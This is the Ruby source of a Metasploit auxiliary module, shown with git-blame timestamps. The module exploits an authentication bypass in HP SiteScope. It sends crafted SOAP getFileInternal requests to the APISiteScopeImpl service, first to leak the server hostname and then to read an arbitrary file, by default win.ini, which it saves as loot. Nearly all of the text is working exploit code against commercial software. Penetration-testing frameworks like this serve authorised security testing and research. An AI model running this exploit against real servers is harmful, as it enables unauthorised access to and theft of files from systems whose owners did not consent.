2012-09-05 10:51:25 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-09-05 10:51:25 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2012-09-05 10:51:25 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'HP SiteScope SOAP Call getFileInternal Remote File Access',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits an authentication bypass vulnerability in HP SiteScope to
|
|
|
|
retrieve an arbitrary file from the remote server. It is accomplished by calling
|
|
|
|
the getFileInternal operation available through the APISiteScopeImpl AXIS service.
|
|
|
|
This module has been successfully tested on HP SiteScope 11.20 over Windows 2003
|
|
|
|
SP2 and Linux Centos 6.3.
|
|
|
|
},
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '85119' ],
|
|
|
|
[ 'BID', '55269' ],
|
2013-10-21 20:07:07 +00:00
|
|
|
[ 'ZDI', '12-176' ]
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
|
|
|
|
'juan vazquez' # Metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8080),
|
2014-09-04 22:03:21 +00:00
|
|
|
OptString.new('RFILE', [true, 'Remote File', 'c:\\windows\\win.ini']),
|
2013-08-30 21:28:54 +00:00
|
|
|
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
register_autofilter_ports([ 8080 ])
|
|
|
|
deregister_options('RHOST')
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
@uri = normalize_uri(target_uri.path)
|
|
|
|
@uri << '/' if @uri[-1,1] != '/'
|
|
|
|
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Connecting to SiteScope SOAP Interface")
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => "#{@uri}services/APISiteScopeImpl",
|
|
|
|
'method' => 'GET'})
|
|
|
|
|
|
|
|
if not res
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Unable to connect")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
accessfile
|
|
|
|
end
|
|
|
|
|
|
|
|
def accessfile
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Retrieving the target hostname")
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
|
|
|
|
data << "<wsns0:Envelope" + "\r\n"
|
|
|
|
data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
|
|
|
|
data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n"
|
|
|
|
data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n"
|
|
|
|
data << ">" + "\r\n"
|
|
|
|
data << "<wsns0:Body" + "\r\n"
|
|
|
|
data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n"
|
|
|
|
data << ">" + "\r\n"
|
|
|
|
data << "<impl:getFileInternal" + "\r\n"
|
|
|
|
data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n"
|
|
|
|
data << ">" + "\r\n"
|
|
|
|
data << "<in0" + "\r\n"
|
|
|
|
data << "xsi:nil='true'" + "\r\n"
|
|
|
|
data << "xsi:type='xsd:string'" + "\r\n"
|
|
|
|
data << "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
|
|
|
|
data << "></in0>" + "\r\n"
|
|
|
|
data << "<in1" + "\r\n"
|
|
|
|
data << "xsi:nil='true'" + "\r\n"
|
|
|
|
data << "xsi:type='xsd:string'" + "\r\n"
|
|
|
|
data << "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
|
|
|
|
data << "></in1>" + "\r\n"
|
|
|
|
data << "</impl:getFileInternal>" + "\r\n"
|
|
|
|
data << "</wsns0:Body>" + "\r\n"
|
|
|
|
data << "</wsns0:Envelope>"
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => "#{@uri}services/APISiteScopeImpl",
|
|
|
|
'method' => 'POST',
|
|
|
|
'ctype' => 'text/xml; charset=UTF-8',
|
|
|
|
'data' => data,
|
|
|
|
'headers' => {
|
|
|
|
'SOAPAction' => '""',
|
|
|
|
}}, 60)
|
|
|
|
|
|
|
|
if res and res.code == 500 and res.body =~ /<ns3:hostname xmlns:ns3="http:\/\/xml.apache.org\/axis\/">(.*)<\/ns3:hostname>/m
|
|
|
|
host_name = $1
|
|
|
|
end
|
|
|
|
|
|
|
|
if not host_name or host_name.empty?
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Failed to retrieve the host name")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Retrieving the file contents")
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
|
|
|
|
data << "<wsns0:Envelope" + "\r\n"
|
|
|
|
data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
|
|
|
|
data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n"
|
|
|
|
data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n"
|
|
|
|
data << ">" + "\r\n"
|
|
|
|
data << "<wsns0:Body" + "\r\n"
|
|
|
|
data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n"
|
|
|
|
data << ">" + "\r\n"
|
|
|
|
data << "<impl:getFileInternal" + "\r\n"
|
|
|
|
data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n"
|
|
|
|
data << ">" + "\r\n"
|
|
|
|
data << "<in0" + "\r\n"
|
|
|
|
data << "xsi:type='xsd:string'" + "\r\n"
|
|
|
|
data << "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
|
|
|
|
data << ">#{host_name}</in0>" + "\r\n"
|
|
|
|
data << "<in1" + "\r\n"
|
|
|
|
data << "xsi:type='xsd:string'" + "\r\n"
|
|
|
|
data << "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
|
|
|
|
data << ">#{datastore['RFILE']}</in1>" + "\r\n"
|
|
|
|
data << "</impl:getFileInternal>" + "\r\n"
|
|
|
|
data << "</wsns0:Body>" + "\r\n"
|
|
|
|
data << "</wsns0:Envelope>"
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => "#{@uri}services/APISiteScopeImpl",
|
|
|
|
'method' => 'POST',
|
|
|
|
'ctype' => 'text/xml; charset=UTF-8',
|
|
|
|
'data' => data,
|
|
|
|
'headers' => {
|
|
|
|
'SOAPAction' => '""',
|
|
|
|
}})
|
|
|
|
|
|
|
|
if res and res.code == 200
|
|
|
|
|
|
|
|
if res.headers['Content-Type'] =~ /boundary="(.*)"/
|
|
|
|
boundary = $1
|
|
|
|
end
|
|
|
|
if not boundary or boundary.empty?
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Failed to retrieve the file contents")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if res.body =~ /getFileInternalReturn href="cid:([A-F0-9]*)"/
|
|
|
|
cid = $1
|
|
|
|
end
|
|
|
|
if not cid or cid.empty?
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Failed to retrieve the file contents")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if res.body =~ /#{cid}>\r\n\r\n(.*)\r\n--#{boundary}/m
|
|
|
|
loot = Rex::Text.ungzip($1)
|
|
|
|
end
|
|
|
|
if not loot or loot.empty?
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Failed to retrieve the file contents")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
f = ::File.basename(datastore['RFILE'])
|
|
|
|
path = store_loot('hp.sitescope.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("#{datastore['RFILE']} saved in #{path}")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Failed to retrieve the file contents")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2012-09-05 10:51:25 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|